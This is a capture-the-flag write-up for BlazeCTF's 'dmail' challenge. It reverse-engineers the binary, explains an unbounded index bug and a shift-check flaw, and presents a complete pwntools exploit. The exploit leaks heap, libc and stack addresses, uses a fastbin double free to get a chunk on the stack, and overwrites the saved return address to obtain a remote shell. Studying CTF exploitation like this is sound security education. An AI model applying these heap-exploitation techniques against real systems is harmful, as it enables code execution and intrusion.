BlazeCTF - dmail
BlazeCTF seems to be underrated because the challenge were very demanding and fun! That challenge is about leveraging the possibility to write addresses returned by malloc
anywhere in the memory. I used that issue, to leak a heap address, a libc address and a stack address, to trick malloc
into giving me a pointer on the stack and by overwriting the saved return pointer.
The write-up starts with some basic information on the binary. Then the operation with an analysis of each function is presented. It is followed by a listing of the vulnerabilities found in the previously analyzed functions. The exploitation section shows the different steps needed to finally get a remote shell.
Basic information
From the organizers:
dmail is dealermail, its super secret email for only the top dealers
Host is ubuntu 14.04
107.170.17.158 4201
The binary is a stripped ELF 64-bit with all the security features activated.
$ file dmail
dmail: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=866d76864a17f0ced0dee2d543f4d949fea487e1, stripped
$ checksec --file dmail
RELRO STACK CANARY NX PIE RPATH
Full RELRO Canary found NX enabled PIE enabled No RPATH
RUNPATH FILE
No RUNPATH dmail
Operation
dmail
is supposed to be a simple mail client that can:
- create email;
- read created email;
- delete created email.
Here is the greeting message followed by the main menu, which are printed by two functions:
$ ./dmail
Welcome to DISCRETE-MAIL
==========================
Features:
- Secured with SHA-256 Encryption!
- Simple Interface!
- Completely FREE
==========================
1 -> send mail
2 -> read mail
3 -> delete mail
>
The following subsection shows the analysis of the functions:
main
: the main function where the menu is shown and the call to the wanted function is done;read_int
: a helper function to read an unsigned integer from the standard input;set_cubby
: a helper function to set whether the cubby is used or not;is_cubby_set
: a helper function to check if a cubby is set;choice_send_mail
: a function called bymain
to send a mail;create_mail
: a function called bychoice_send_mail
to allocate the memory for the mail;choice_read_mail
: a function called bymain
to show the content of a mail;choice_delete_mail
: a function called bymain
to delete a mail.
main
It starts by allocating 0x100
(256) bytes. The address of that memory region is stored in the .BSS
segment at the relative address 0x202020
(PIE is activated therefore everything is relative). It then prints the menu, reads an integer from the standard input and calls the function corresponding to the choice made:
0x00000eda 55 push rbp
0x00000edb 4889e5 mov rbp, rsp
0x00000ede 4883ec10 sub rsp, 0x10
0x00000ee2 b800000000 mov eax, 0
0x00000ee7 e8f9fbffff call do_setvbuf
0x00000eec e85efcffff call print_welcome
0x00000ef1 bf00010000 mov edi, 0x100
0x00000ef6 e885faffff call sym.imp.malloc
0x00000efb 4889c2 mov rdx, rax
0x00000efe 488d051b1120. lea rax, qword [rip + 0x20111b] ; 0x202020
0x00000f05 488910 mov qword [rax], rdx
0x00000f08 488d05111120. lea rax, qword [rip + 0x201111] ; 0x202020
0x00000f0f 488b00 mov rax, qword [rax]
0x00000f12 4885c0 test rax, rax
0x00000f15 750c jne 0xf23
0x00000f17 488d3d740200. lea rdi, qword [rip + section..note.gnu.buid_id]
0x00000f1e e80afcffff call sub.perror_b2d
0x00000f23 488d05f61020. lea rax, qword [rip + 0x2010f6] ; 0x202020
0x00000f2a 488b00 mov rax, qword [rax]
0x00000f2d ba00010000 mov edx, 0x100
0x00000f32 be00000000 mov esi, 0
0x00000f37 4889c7 mov rdi, rax
0x00000f3a e8f1f9ffff call sym.imp.memset
0x00000f3f e871fcffff call print_menu
0x00000f44 e8a7fcffff call read_int
0x00000f49 488945f8 mov qword [rbp - local_8h], rax
0x00000f4d 488b45f8 mov rax, qword [rbp - local_8h]
0x00000f51 4883f802 cmp rax, 2
0x00000f55 7413 je 0xf6a
0x00000f57 4883f803 cmp rax, 3
0x00000f5b 7414 je 0xf71
0x00000f5d 4883f801 cmp rax, 1
0x00000f61 7515 jne 0xf78
0x00000f63 e831feffff call choice_send_mail
0x00000f68 eb1c jmp 0xf86
0x00000f6a e80affffff call choice_read_mail
0x00000f6f eb15 jmp 0xf86
0x00000f71 e87bfeffff call choice_delete_mail
0x00000f76 eb0e jmp 0xf86
0x00000f78 488d3d300200. lea rdi, qword [rip + 0x230]
0x00000f7f e87cf9ffff call sym.imp.puts
0x00000f84 ebb9 jmp 0xf3f
0x00000f86 ebb7 jmp 0xf3f
read_int
The function I called read_int
reads 16 bytes from stdin
, saves the content into a local array on the stack and returns the conversion of the string into an unsigned 64-bit integer done by strtoull
:
0x00000bf0 55 push rbp
0x00000bf1 4889e5 mov rbp, rsp
0x00000bf4 4883ec20 sub rsp, 0x20
0x00000bf8 64488b042528. mov rax, qword fs:[0x28]
0x00000c01 488945f8 mov qword [rbp - local_8h], rax
0x00000c05 31c0 xor eax, eax
0x00000c07 488b05ca1320. mov rax, qword [rip + 0x2013ca]
0x00000c0e 488b10 mov rdx, qword [rax]
0x00000c11 488d45e0 lea rax, qword [rbp - local_20h]
0x00000c15 be10000000 mov esi, 0x10
0x00000c1a 4889c7 mov rdi, rax
0x00000c1d e82efdffff call sym.imp.fgets
0x00000c22 488d45e0 lea rax, qword [rbp - local_20h]
0x00000c26 ba0a000000 mov edx, 0xa
0x00000c2b be00000000 mov esi, 0
0x00000c30 4889c7 mov rdi, rax
0x00000c33 e828fdffff call sym.imp.strtoull
0x00000c38 488b4df8 mov rcx, qword [rbp - local_8h]
0x00000c3c 6448330c2528. xor rcx, qword fs:[0x28]
0x00000c45 7405 je 0xc4c
0x00000c47 e8c4fcffff call sym.imp.__stack_chk_fail
0x00000c4c c9 leave
0x00000c4d c3 ret
That function is used each time an integer must be read.
set_cubby
That function is used whenever the state of a cubby is changed from used to free and vice versa. It shifts left 1
by the cubby number and use that result to xor a value in the .BSS
located at the relative address 0x202018
.
0x00000c8e 55 push rbp
0x00000c8f 4889e5 mov rbp, rsp
0x00000c92 897dfc mov dword [rbp - local_4h], edi
0x00000c95 8b45fc mov eax, dword [rbp - local_4h]
0x00000c98 ba01000000 mov edx, 1
0x00000c9d 89c1 mov ecx, eax
0x00000c9f d3e2 shl edx, cl
0x00000ca1 89d0 mov eax, edx
0x00000ca3 4863d0 movsxd rdx, eax
0x00000ca6 488d056b1320. lea rax, qword [rip + 0x20136b] ; 0x202018
0x00000cad 488b00 mov rax, qword [rax]
0x00000cb0 4831c2 xor rdx, rax
0x00000cb3 488d055e1320. lea rax, qword [rip + 0x20135e] ; 0x202018
0x00000cba 488910 mov qword [rax], rdx
0x00000cbd 5d pop rbp
0x00000cbe c3 ret
As the cubby number is not bounded some strange behavior can be expected on the shift.
is_cubby_set
That function is used to check whether a cubby is used or free. It takes the value at 0x202018
, shifts it right by the cubby number and return the result “bit-wise-and” with 1
. 0
is considered false and 1
or any other value, true.
0x00000c4e 55 push rbp
0x00000c4f 4889e5 mov rbp, rsp
0x00000c52 897dfc mov dword [rbp - local_4h], edi
0x00000c55 488d05bc1320. lea rax, qword [rip + 0x2013bc] ; 0x202018
0x00000c5c 488b10 mov rdx, qword [rax]
0x00000c5f 8b45fc mov eax, dword [rbp - local_4h]
0x00000c62 89c1 mov ecx, eax
0x00000c64 48d3ea shr rdx, cl
0x00000c67 4889d0 mov rax, rdx
0x00000c6a 83e001 and eax, 1
0x00000c6d 5d pop rbp
0x00000c6e c3 ret
We should also expect some strange behavior here.
There is another function that I called is_cubby_not_set
which returns 1
if is_cubby_set
returns 0
, and 0
otherwise:
return is_cubby_set(cubby) == 0;
choice_send_mail
When the first option 1 -> send mail
is chosen, three things must be given:
1 -> send mail
2 -> read mail
3 -> delete mail
> 1
cubby: 0
length: 10
body: AAAAAAAA
- a cubby number that is used as an identification number;
- the size of the mail;
- its content.
These three steps are not handled by that function. It only asks for the cubby number and checks whether it is occupied. If the cubby is free, it calls the function create_mail
that is explained in the next subsection.
0x00000d99 55 push rbp
0x00000d9a 4889e5 mov rbp, rsp
0x00000d9d 4883ec10 sub rsp, 0x10
0x00000da1 488d3d880300. lea rdi, qword [rip + 0x388]
0x00000da8 b800000000 mov eax, 0
0x00000dad e86efbffff call sym.imp.printf
0x00000db2 e839feffff call read_int
0x00000db7 488945f8 mov qword [rbp - local_8h], rax
0x00000dbb 488b45f8 mov rax, qword [rbp - local_8h]
0x00000dbf 89c7 mov edi, eax
0x00000dc1 e8a9feffff call is_cubby_not_set
0x00000dc6 85c0 test eax, eax
0x00000dc8 7419 je 0xde3
0x00000dca 488b45f8 mov rax, qword [rbp - local_8h]
0x00000dce 4889c7 mov rdi, rax
0x00000dd1 e8e9feffff call create_mail
0x00000dd6 488b45f8 mov rax, qword [rbp - local_8h]
0x00000dda 89c7 mov edi, eax
0x00000ddc e8adfeffff call set_cubby
0x00000de1 eb0c jmp 0xdef
0x00000de3 488d3d560300. lea rdi, qword [rip + 0x356]
0x00000dea e811fbffff call sym.imp.puts
0x00000def c9 leave
0x00000df0 c3 ret
One thing that we can already see is that regardless of the outcome of the create_mail
function, the call to set_cubby
is done.
create_mail
That function asks for the size of the mail and if it is smaller than 0x100
(256) bytes, it allocates the memory and copy the content (body
) read from stdin
into that newly allocated region:
0x00000cbf 55 push rbp
0x00000cc0 4889e5 mov rbp, rsp
0x00000cc3 53 push rbx
0x00000cc4 4883ec28 sub rsp, 0x28
0x00000cc8 48897dd8 mov qword [rbp - local_28h], rdi
0x00000ccc 488d3d0f0400. lea rdi, qword [rip + 0x40f]
0x00000cd3 b800000000 mov eax, 0
0x00000cd8 e843fcffff call sym.imp.printf
0x00000cdd e80effffff call read_int
0x00000ce2 488945e8 mov qword [rbp - local_18h], rax
0x00000ce6 48817de80001. cmp qword [rbp - local_18h], 0x100
0x00000cee 7611 jbe 0xd01
0x00000cf0 488d3df60300. lea rdi, qword [rip + 0x3f6]
0x00000cf7 e804fcffff call sym.imp.puts
0x00000cfc e991000000 jmp 0xd92
0x00000d01 488d05181320. lea rax, qword [rip + 0x201318] ; 0x202020
0x00000d08 488b00 mov rax, qword [rax]
0x00000d0b 488b55d8 mov rdx, qword [rbp - local_28h]
0x00000d0f 48c1e203 shl rdx, 3
0x00000d13 488d1c10 lea rbx, qword [rax + rdx]
0x00000d17 488b45e8 mov rax, qword [rbp - local_18h]
0x00000d1b 4889c7 mov rdi, rax
0x00000d1e e85dfcffff call sym.imp.malloc
0x00000d23 488903 mov qword [rbx], rax
0x00000d26 488d05f31220. lea rax, qword [rip + 0x2012f3] ; 0x202020
0x00000d2d 488b00 mov rax, qword [rax]
0x00000d30 488b55d8 mov rdx, qword [rbp - local_28h]
0x00000d34 48c1e203 shl rdx, 3
0x00000d38 4801d0 add rax, rdx
0x00000d3b 488b00 mov rax, qword [rax]
0x00000d3e 4885c0 test rax, rax
0x00000d41 750c jne 0xd4f
0x00000d43 488d3db60300. lea rdi, qword [rip + 0x3b6]
iled to allocate space for new mail" @ 0x1100
0x00000d4a e8defdffff call sub.perror_b2d
; JMP XREF from 0x00000d41 (create_mail)
0x00000d4f 488d3dd10300. lea rdi, qword [rip + 0x3d1]
0x00000d56 b800000000 mov eax, 0
0x00000d5b e8c0fbffff call sym.imp.printf
0x00000d60 488b05711220. mov rax, qword [rip + 0x201271] ;
0x00000d67 488b10 mov rdx, qword [rax]
0x00000d6a 488b45e8 mov rax, qword [rbp - local_18h]
0x00000d6e 89c1 mov ecx, eax
0x00000d70 488d05a91220. lea rax, qword [rip + 0x2012a9] ; 0x202020
0x00000d77 488b00 mov rax, qword [rax]
0x00000d7a 488b75d8 mov rsi, qword [rbp - local_28h]
0x00000d7e 48c1e603 shl rsi, 3
0x00000d82 4801f0 add rax, rsi
0x00000d85 488b00 mov rax, qword [rax]
0x00000d88 89ce mov esi, ecx
0x00000d8a 4889c7 mov rdi, rax
0x00000d8d e8befbffff call sym.imp.fgets
; JMP XREF from 0x00000cfc (create_mail)
0x00000d92 4883c428 add rsp, 0x28
0x00000d96 5b pop rbx
0x00000d97 5d pop rbp
0x00000d98 c3 ret
More precisely the address returned by malloc is stored at the address saved in 0x202020
plus on offset that is the cubby number multiplied by 8 (or shifted left by 3):
cubby_address = *(0x202020) + (cubby_number * 8)
As the cubby number is not bounded, we might be able to store the address wherever we want.
Here is a layout of the heap after a few mails have been created (the chunks with the headers are shown):
+--------------+ cubbies' addresses
| chunk header |
| |
| cubby 0 addr | <= address stored in 0x202020
| cubby 1 addr |
. ... .
+--------------+ cubby 0's chunk
| chunk header |
| |
| data ... | <= cubby 0 addr
. ... .
+--------------+ cubby 1's chunk
| chunk header |
| |
| data ... | <= cubby 1 addr
. ... .
+--------------+
. etc. .
choice_read_mail
1 -> send mail
2 -> read mail
3 -> delete mail
> 2
cubby: 0
AAAAAAAA
That function asks for the cubby number and prints its content if the cubby is used:
0x00000e79 55 push rbp
0x00000e7a 4889e5 mov rbp, rsp
0x00000e7d 4883ec10 sub rsp, 0x10
0x00000e81 488d3da80200. lea rdi, qword [rip + 0x2a8]
0x00000e88 b800000000 mov eax, 0
0x00000e8d e88efaffff call sym.imp.printf
0x00000e92 e859fdffff call read_int
0x00000e97 488945f8 mov qword [rbp - local_8h], rax
0x00000e9b 488b45f8 mov rax, qword [rbp - local_8h]
0x00000e9f 89c7 mov edi, eax
0x00000ea1 e8a8fdffff call is_cubby_set
0x00000ea6 85c0 test eax, eax
0x00000ea8 7422 je 0xecc
0x00000eaa 488d056f1120. lea rax, qword [rip + 0x20116f] ; 0x202020
0x00000eb1 488b00 mov rax, qword [rax]
0x00000eb4 488b55f8 mov rdx, qword [rbp - local_8h]
0x00000eb8 48c1e203 shl rdx, 3
0x00000ebc 4801d0 add rax, rdx
0x00000ebf 488b00 mov rax, qword [rax]
0x00000ec2 4889c7 mov rdi, rax
0x00000ec5 e836faffff call sym.imp.puts
0x00000eca eb0c jmp 0xed8
0x00000ecc 488d3dad0200. lea rdi, qword [rip + 0x2ad]
0x00000ed3 e828faffff call sym.imp.puts
0x00000ed8 c9 leave
0x00000ed9 c3 ret
The same formula is used to get the address of the cubby:
cubby_address = *(0x202020) + (cubby_number * 8)
choice_delete_mail
1 -> send mail
2 -> read mail
3 -> delete mail
> 3
cubby: 0
That function asks for the cubby number and free
the cubby and calls set_cubby
if it is used:
0x00000df1 55 push rbp
0x00000df2 4889e5 mov rbp, rsp
0x00000df5 4883ec10 sub rsp, 0x10
0x00000df9 488d3d300300. lea rdi, qword [rip + 0x330]
0x00000e00 b800000000 mov eax, 0
0x00000e05 e816fbffff call sym.imp.printf
0x00000e0a e8e1fdffff call read_int
0x00000e0f 488945f8 mov qword [rbp - local_8h], rax
0x00000e13 488b45f8 mov rax, qword [rbp - local_8h]
0x00000e17 89c7 mov edi, eax
0x00000e19 e830feffff call is_cubby_set
0x00000e1e 85c0 test eax, eax
0x00000e20 7449 je 0xe6b
0x00000e22 488d05f71120. lea rax, qword [rip + 0x2011f7] ; 0x202020
0x00000e29 488b00 mov rax, qword [rax]
0x00000e2c 488b55f8 mov rdx, qword [rbp - local_8h]
0x00000e30 48c1e203 shl rdx, 3
0x00000e34 4801d0 add rax, rdx
0x00000e37 488b00 mov rax, qword [rax]
0x00000e3a 4889c7 mov rdi, rax
0x00000e3d e8aefaffff call sym.imp.free
0x00000e42 488d05d71120. lea rax, qword [rip + 0x2011d7] ; 0x202020
0x00000e49 488b00 mov rax, qword [rax]
0x00000e4c 488b55f8 mov rdx, qword [rbp - local_8h]
0x00000e50 48c1e203 shl rdx, 3
0x00000e54 4801d0 add rax, rdx
0x00000e57 48c700000000. mov qword [rax], 0
0x00000e5e 488b45f8 mov rax, qword [rbp - local_8h]
0x00000e62 89c7 mov edi, eax
0x00000e64 e825feffff call set_cubby
0x00000e69 eb0c jmp 0xe77
0x00000e6b 488d3dee0200. lea rdi, qword [rip + 0x2ee]
0x00000e72 e889faffff call sym.imp.puts
0x00000e77 c9 leave
0x00000e78 c3 ret
Vulnerabilities
During the analysis, we have encountered one vulnerability that have multiple consequences. The fact that the cubby number is not bounded, we can:
- write addresses returned by
malloc
where we want; - trick the program to think that a cubby is used or not.
There is also the fact that we can set a cubby to used and avoid memory allocation if we give a size that is bigger of equal to 256.
Malloc addresses
As shown in main, the first malloc is done to allocate a space to store the addresses of 32 cubbies:
size / size_of_a_pointer = 0x100 / 8 = 32
If, when we create a mail, we set the cubby number to something higher than 32 we start to write data on other chunks
Trick the shifts
When a shift is done with a value that is to big, it’s behavior is “not determined”. Here the shift is done on a 32-bit value:
0x00000c98 ba01000000 mov edx, 1
0x00000c9d 89c1 mov ecx, eax
0x00000c9f d3e2 shl edx, cl
Which means that we will have strange effects when we choose a cubby number near 32. I wrote a small program to show that behavior:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
long long n,i,j;
char s[16];
while (1) {
if (!fgets(&s, 16, stdin)) {
break;
}
n = strtoll(&s, 0, 10);
i = 1 << n;
printf("1 << %lld = 0x%016llx\n", n, i);
j = i >> n;
printf("0x%016llx >> %lld = %lld\n", i, n, j);
}
exit(0);
}
We can see that everything is OK until 30
but then with 31
we have a really strange value and with 32
we loop back to 0
$ ./shift
30
1 << 30 = 0x0000000040000000
0x0000000040000000 >> 30 = 1
31
1 << 31 = 0xffffffff80000000
0xffffffff80000000 >> 31 = -1
32
1 << 32 = 0x0000000000000001
0x0000000000000001 >> 32 = 0
Consequences:
- cubby number equal to or higher than
32
, can’t be freed because the check to see if they are used will fail; - cubby number
31
breaks the check and once created will trick the program into believing that any cubby with a number equal to or higher than32
is used.
Exploitation
All security features are set (except for PaX & grsecurity):
- Full RELRO: we can’t overwrite an entry in the global offset table (GOT), therefore we need to overwrite a saved
rip
value on the stack; - PIE (and ASLR): every part of the program are located at random locations in the memory, therefore we need to leak addresses to finally find one on the stack.
This leads to the following steps that need to be done in order to execute a shell:
- leak a heap address;
- leak a libc address;
- leak a stack address;
- trick
malloc
into allocating a chunk on the stack (yes you can!); - overwrite
saved rip
with the address of the magic gadget.
Leaks
Heap address
The heap address is easy to leak, because we only have to create a cubby, create another with a number that will make its address being stored into the first cubby and read the first cubby:
$ nc 107.170.17.158 4201
Welcome to DISCRETE-MAIL
==========================
Features:
- Secured with SHA-256 Encryption!
- Simple Interface!
- Completely FREE
==========================
1 -> send mail
2 -> read mail
3 -> delete mail
> 1
cubby: 0
length: 256
body: AAAAAAAA
1 -> send mail
2 -> read mail
3 -> delete mail
> 1
cubby: 34
length: 256
body: BBBBBBBB
1 -> send mail
2 -> read mail
3 -> delete mail
> 2
cubby: 0
@A²T
1 -> send mail
2 -> read mail
3 -> delete mail
>
Instead of printing AAAAAAAA
we have the address of the second cubby. Note that the number of the second cubby is 34
because we want to write passed the header of the chunk of the first cubby. With 32
we would have overwritten the first part of its header and with 33
, the second part, which are used to store the size of the previous chunk and the size of the chunk respectively. For more information about the heap please read that post.
Libc address
When smallchunks (not fastchunks) are free
‘d, they are put in a double-linked free list and pointers to the previous and next chunks are stored in the chunk. When the chunk is at the beginning of the list or at the end, it will have a pointer to the main arena in the libc. We can use that to leak a libc pointer. To do that we have to:
- create cubby
0
with its content being an address of a previouslyfree
‘d cubby; - create the cubby
31
with a size bigger than 256. This has two effects:- trick the program into believing that cubbies
32
and following are used; - prevent an allocation of a chunk because the size is too big;
- trick the program into believing that cubbies
- read the content of cubby
34
.
Stack address
The libc has a pointer to the environment variables that are located on the stack, which is stored in the environ
variable:
gdb-peda$ p &environ
$1 = (<data variable, no debug info> *) 0x7ffff7dd5f78 <environ>
gdb-peda$ x/gx 0x7ffff7dd5f78
0x7ffff7dd5f78 <environ>: 0x00007fffffffde18
gdb-peda$ vmmap
Start End Perm Name
[snip]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
[snip]
To leak the pointer address we need to:
- calculate the offset from the previously leaked libc address to
environ
; - create cubby
0
with its content being the address ofenviron
; - read the content of cubby
34
.
We now have defeated ALSR and PIE!
Libc offsets
To find the good offsets for environ
and the magic gadget, the correct libc must be used. In the description of the challenge it states that the target is an Ubuntu 14.04. In the best case the target was updated with the latest package before the CTF. When I managed to get a shell on my Ubuntu VM, it didn’t work on the target even if the offset of environ
was good and I was able to get a correct stack address.
We can see that two possible libc can be installed:
user@ubuntu:~$ apt-cache policy libc6
libc6:
Installed: 2.19-0ubuntu6.7
Candidate: 2.19-0ubuntu6.7
Version table:
*** 2.19-0ubuntu6.7 0
500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages
500 http://security.ubuntu.com/ubuntu/ trusty-security/main amd64 Packages
100 /var/lib/dpkg/status
2.19-0ubuntu6 0
500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages
The problem was that the challenge is run in a chrooted environment (many challenges target the same IP address) and the tool to easily create them on Ubuntu (debootstrap
) only set the last repository. Therefore the older libc was installed.
In the worst case scenario, if the libc could not have been guessed, I could have leaked it using the same technique I used to leak the stack address.
Trick malloc
By playing with fastchunks, it is possible to easily trick malloc
into returning an arbitrary address. We will use that to allocate a cubby on the stack near the saved rip
of the function create_mail
. That function has no canary. If it would have had one, we could have used the above technique to leak it and then recreate it during our overwrite of saved rip
.
The idea is to introduce the address we want into the free list by doing a double free on a cubby. With that we will be able to add an arbitrary address (stack) in the free list. With fastchunks, malloc
performs only one check to ensure that the memory is not corrupted: it check that the size
on the soon to be allocated chunk is a valid size for the current bin. Therefore we need a value in the stack near saved_rip
that we can control.
When malloc
is called in create_mail
the cubby number and the size requested are on the stack:
gdb-peda$ x/8gx 0x7fffffffdcb0
0x7fffffffdcb0: 0x0000000000000000 0x000000000000002c <= cubby number
0x7fffffffdcc0: 0x00007fffffffdce0 0x0000000000000040 <= size
0x7fffffffdcd0: 0x0000000000000000 0x0000000000000000
0x7fffffffdce0: 0x00007fffffffdd00 0x0000555555554dd6 <= saved_rip
If we use the size to trick malloc
, the check will never work because when a cubby is allocated, malloc
rounds the size of the cubby to the size of a chunk and it is not possible to make them equal. Here is a simple program that proves it by allocating chunks and showing the difference between the requested size and the size in the chunk header:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
long long i;
long long *a;
for (i = 0; i < 0x90; i += 2) {
a = malloc(i);
printf("0x%llx => 0x%llx\n", i , *(a-1)-1);
free(a);
a = NULL;
}
exit(0);
}
Here is its output:
$ ./malloc
0x0 => 0x20
0x2 => 0x20
0x4 => 0x20
0x6 => 0x20
0x8 => 0x20
0xa => 0x20
0xc => 0x20
0xe => 0x20
0x10 => 0x20
0x12 => 0x20
0x14 => 0x20
0x16 => 0x20
0x18 => 0x20
0x1a => 0x30
0x1c => 0x30
0x1e => 0x30
0x20 => 0x30
0x22 => 0x30
0x24 => 0x30
0x26 => 0x30
0x28 => 0x30
0x2a => 0x40
0x2c => 0x40
0x2e => 0x40
0x30 => 0x40
[snip]
0x38 => 0x40
[snip]
However we can used to the cubby number and set it to a value that will pass the test, in that case 0x38
for the size and 0x40
for the cubby number (other correct combinations can work as long as we stay in the fastchunk range). Here are the steps needed to trick malloc
:
- decide of a fixed size (e.g.
0x38
) that will be used for all cubbies except0
; - create cubby
0
with a small size and its content to the address of the cubby that we will free twice (cubby1
); - create cubby
1
,2
and3
(the content is not important); - delete cubby
1
and2
, the free list has[cubby_2_addr cubby_1_addr]
; - delete cubby
34
, itfree
s the chunk of cubby1
a second time, the free list has[cubby_1_addr cubby_2_addr cubby_1_addr]
; - create cubby
1
with the address of the beginning of the chunk (header) that will be on the stack; - create cubby
2
, the free list has only the address of cubby1
left[cubby_1_addr]
; - create cubby
1
, when this happensmalloc
looks at the pointer in cubby1
as if it was a pointer to the next free chunk and stores it in the free list. The nextmalloc
will return the address on the stack ( + 16 because of the chunk header); - create cubby
0x40
, with the address of the magic gadget.
Payload
Here is the resulting script:
#!/usr/bin/env python2
from pwn import *
PRINT=False
ARRAY_SIZE = 0x110
ENVIRON_OFFSET = 0x2ce8
RIP_OFFSET = -304
MAGIC_OFFSET = -3641308
r = remote('107.170.17.158', 4201)
#r = remote('192.168.122.218', 4201)
# socat tcp-l:4201,reuseaddr,fork exec:./dmail
def recvuntil(rec, p=PRINT):
global r
data = r.recvuntil(rec)
if p:
print(data)
return data
def sendline(msg, p=PRINT):
global r
r.sendline(msg)
def sr(rec, msg, p=PRINT):
recvuntil(rec, p)
sendline(msg, p)
if p:
print(msg)
def send_bad_mail(n, size=257, p=PRINT):
sr('\n> ', '1', p)
sr('cubby: ', '{}'.format(n), p)
sr('length: ', '{}'.format(size), p)
def send_mail(n, size, body, p=PRINT):
send_bad_mail(n, size, p)
sr('body: ', body, p)
def read_mail(n, p=PRINT):
sr('\n> ', '2', p)
sr('cubby: ', '{}'.format(n), p)
data = r.recvline(False)
if p:
print(data)
return data
def delete_mail(n, p=PRINT):
sr('\n> ', '3', p)
sr('cubby: ', '{}'.format(n), p)
def get_addr(data):
addr = data + '\0' * (8 - len(data))
return u64(addr)
if __name__ == '__main__':
########
# LEAK #
########
# size big enough to avoid fastbins => have a pointer to the main arena,
# which reside in the libc!
CHUNK_SIZE = 256
# cubby 0: placeholder for heap address to leak
send_mail(0, CHUNK_SIZE, 'A' * 8)
# place a malloc'ed address into cubby 0
send_mail(ARRAY_SIZE // 8, CHUNK_SIZE, 'B' * 8)
heap_addr = get_addr(read_mail(0))
base_cubbies = heap_addr - 0x10 - CHUNK_SIZE
cubbies_addr = base_cubbies - ARRAY_SIZE
log.warn('Leaked heap_addr: 0x{:016x}'.format(heap_addr))
log.warn(' => base_cubbies: 0x{:016x}'.format(base_cubbies))
log.warn(' => cubbies_addr: 0x{:016x}'.format(cubbies_addr))
# partial clean
delete_mail(0)
# leak libc_free address (a bin in the main arena)
send_mail(0, 16, p64(base_cubbies + 32)) # @base_cubbies
send_bad_mail(31)
libc_addr = get_addr(read_mail(ARRAY_SIZE // 8))
magic_gadget = libc_addr + MAGIC_OFFSET
log.warn('Leaked libc_addr: 0x{:016x}'.format(libc_addr))
log.warn(' => magic_gadget: 0x{:016x}'.format(magic_gadget))
# clean
delete_mail(0)
send_mail(0, 16, p64(base_cubbies + 0x110))
delete_mail(ARRAY_SIZE // 8)
delete_mail(0)
# leak stack addr
send_mail(0,16, p64(libc_addr + ENVIRON_OFFSET))
stack_addr = get_addr(read_mail(ARRAY_SIZE // 8))
saved_rip = stack_addr + RIP_OFFSET
log.warn('Leaked stack_addr: 0x{:016x}'.format(stack_addr))
log.warn(' => &saved_rip: 0x{:016x}'.format(saved_rip))
delete_mail(0)
################
# trick malloc #
################
size = 0x38
# create a pointer to a chunk so that we can free it twice
send_mail(0, 16, p64(base_cubbies + 32))
# Create 3 chunks
for i in range(1, 4):
send_mail(i, size, p8(0x60 + i) * 8)
# Delete cubby 1 then 2
delete_mail(1)
delete_mail(2)
# Delete 1 again
delete_mail(ARRAY_SIZE // 8)
# remove the trick with 31
delete_mail(31)
# with the loop on shift, 34 is equivalent to 2
delete_mail(2)
# Create again cubbies 1 and 2
log.warn('Storing 0x{0:016x} in the chunk'.format(saved_rip - 0x30-8))
send_mail(1, size, p64(saved_rip - 0x30 - 8))
send_mail(2, size, 'd' * 8)
send_mail(4, size, 'e' * 8)
delete_mail(0)
send_mail(0x40, size, 'A'*40 + p64(magic_gadget))
r.clean()
r.interactive()
And here is the result (note that if an address that we send contains a new line, it will fail):
$ ./payload.py
[+] Opening connection to 107.170.17.158 on port 4201: Done
[!] Leaked heap_addr: 0x00007ff0841e5230
[!] => base_cubbies: 0x00007ff0841e5120
[!] => cubbies_addr: 0x00007ff0841e5010
[!] Leaked libc_addr: 0x00007ff082a537b8
[!] => magic_gadget: 0x00007ff0826da7dc
[!] Leaked stack_addr: 0x00007ffe34824ab8
[!] => &saved_rip: 0x00007ffe34824988
[!] Storing 0x00007ffe34824950 in the chunk
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
dmail
$ cd dmail
$ ls
dmail
dmail_flag
$ cat dmail_flag
blaze{Congratulations, you've unlocked your first BlazeCTF recipe, DANK GARLICBREAD, the recipes button above the scoreboard should now be unlocked}
I am still looking for the recipes…